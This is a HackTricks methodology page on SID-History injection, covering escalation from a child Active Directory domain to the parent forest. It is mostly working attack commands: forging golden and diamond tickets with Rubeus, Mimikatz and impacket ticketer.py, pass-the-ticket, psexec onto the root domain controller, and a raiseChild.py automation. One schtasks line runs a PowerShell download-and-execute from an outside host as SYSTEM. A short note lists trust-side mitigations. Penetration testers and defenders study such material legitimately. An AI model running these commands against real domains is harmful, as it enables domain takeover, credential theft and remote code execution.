sid-history-injection.md (8820B)
1 --- 2 title: "SID-History Injection" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/sid-history-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/sid-history-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SID-History Injection 14 15 ## SID History Injection Attack 16 17 The focus of the **SID History Injection Attack** is aiding **user migration between domains** while ensuring continued access to resources from the former domain. This is accomplished by **incorporating the user's previous Security Identifier (SID) into the SID History** of their new account. Notably, this process can be manipulated to grant unauthorized access by adding the SID of a high-privilege group (such as Enterprise Admins or Domain Admins) from the parent domain to the SID History. This exploitation confers access to all resources within the parent domain.<sup>[[1]](#references)[[2]](#references)</sup> 18 19 Two methods exist for executing this attack: through the creation of either a **Golden Ticket** or a **Diamond Ticket**. 20 21 To pinpoint the SID for the **"Enterprise Admins"** group, one must first locate the SID of the root domain. Following the identification, the Enterprise Admins group SID can be constructed by appending `-519` to the root domain's SID. For instance, if the root domain SID is `S-1-5-21-280534878-1496970234-700767426`, the resulting SID for the "Enterprise Admins" group would be `S-1-5-21-280534878-1496970234-700767426-519`.<sup>[[1]](#references)</sup> 22 23 You could also use the **Domain Admins** groups, which ends in **512**. 24 25 Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with: 26 27 ```bash 28 Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid 29 ``` 30 31 32 > [!WARNING] 33 > Note that it's possible to disable SID history in a trust relationship which will make this attack fail. 34 35 According to the [**docs**](https://technet.microsoft.com/library/cc835085.aspx):<sup>[[3]](#references)</sup> 36 - **Disabling SIDHistory on forest trusts** using the netdom tool (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`) 37 - **Applying SID Filter Quarantining to external trusts** using the netdom tool (`netdom trust /domain: /quarantine:yes on the domain controller`) 38 - **Applying SID Filtering to domain trusts within a single forest** is not recommended as it is an unsupported configuration and can cause breaking changes. If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust 39 40 Check this post for more information about bypassing this: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)<sup>[[4]](#references)</sup> 41 42 ### Diamond Ticket (Rubeus + KRBTGT-AES256) 43 44 Last time I tried this I needed to add the arg **`/ldap`**. 45 46 ```bash 47 # Use the /sids param 48 Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap 49 50 # Or a ptt with a golden ticket 51 ## The /ldap command will get the details from the LDAP (so you don't need to put the SID) 52 ## The /printcmd option will print the complete command if later you want to generate a token offline 53 Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd 54 55 #e.g. 56 57 execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd 58 59 # You can use "Administrator" as username or any other string 60 ``` 61 62 ### Golden Ticket (Mimikatz) with KRBTGT-AES256 63 64 ```bash 65 mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit" 66 67 /user is the username to impersonate (could be anything) 68 /domain is the current domain. 69 /sid is the current domain SID. 70 /sids is the SID of the target group to add ourselves to. 71 /aes256 is the AES256 key of the current domain's krbtgt account. 72 --> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option 73 /startoffset sets the start time of the ticket to 10 mins before the current time. 74 /endin sets the expiry date for the ticket to 60 mins. 75 /renewmax sets how long the ticket can be valid for if renewed. 76 77 # The previous command will generate a file called ticket.kirbi 78 # Just loading you can perform a dcsync attack agains the domain 79 ``` 80 81 For more info about golden tickets check: 82 83 84 [Golden Ticket](/hacktricks/windows-hardening/active-directory-methodology/golden-ticket) 85 86 87 For more info about diamond tickets check: 88 89 90 [Diamond Ticket](/hacktricks/windows-hardening/active-directory-methodology/diamond-ticket) 91 92 ```bash 93 .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local 94 .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi 95 ls \\mcorp-dc.moneycorp.local\c$ 96 ``` 97 98 Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain: 99 100 ```bash 101 Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"' 102 103 Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' 104 105 gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local 106 107 schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" 108 109 schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114" 110 ``` 111 112 With the acquired permissions from the attack you can execute for example a DCSync attack in the new domain: 113 114 115 [Dcsync](/hacktricks/windows-hardening/active-directory-methodology/dcsync) 116 117 ### From linux 118 119 #### Manual with [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py) 120 121 ```bash 122 # This is for an attack from child to root domain 123 # Get child domain SID 124 lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID" 125 # Get root domain SID 126 lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID" 127 128 # Generate golden ticket 129 ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator 130 131 # NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING 132 # JUST USE THE SAME USERNAME IN THE NEXT STEPS 133 134 # Load ticket 135 export KRB5CCNAME=hacker.ccache 136 137 # psexec in domain controller of root 138 psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10 139 ``` 140 141 #### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) 142 143 This is an Impacket script which will **automate escalating from child to parent domain**. The script needs: 144 145 - Target domain controller 146 - Creds for an admin user in the child domain 147 148 The flow is: 149 150 - Obtains the SID for the Enterprise Admins group of the parent domain 151 - Retrieves the hash for the KRBTGT account in the child domain 152 - Creates a Golden Ticket 153 - Logs into the parent domain 154 - Retrieves credentials for the Administrator account in the parent domain 155 - If the `target-exec` switch is specified, it authenticates to the parent domain's Domain Controller via Psexec. 156 157 ```bash 158 raiseChild.py -target-exec 10.10.10.10 <child_domain>/username 159 ``` 160 161 ## References 162 163 - [1] [Sneaky Active Directory Persistence #14: SID History - adsecurity.org](https://adsecurity.org/?p=1772) 164 - [2] [What is Security Identifier (SID)? - SentinelOne](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/) 165 - [3] [Security Considerations for Trusts - Microsoft TechNet](https://technet.microsoft.com/library/cc835085.aspx) 166 - [4] [itm8.com - Sid Filter As Security Boundary Between Domains Part 4](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)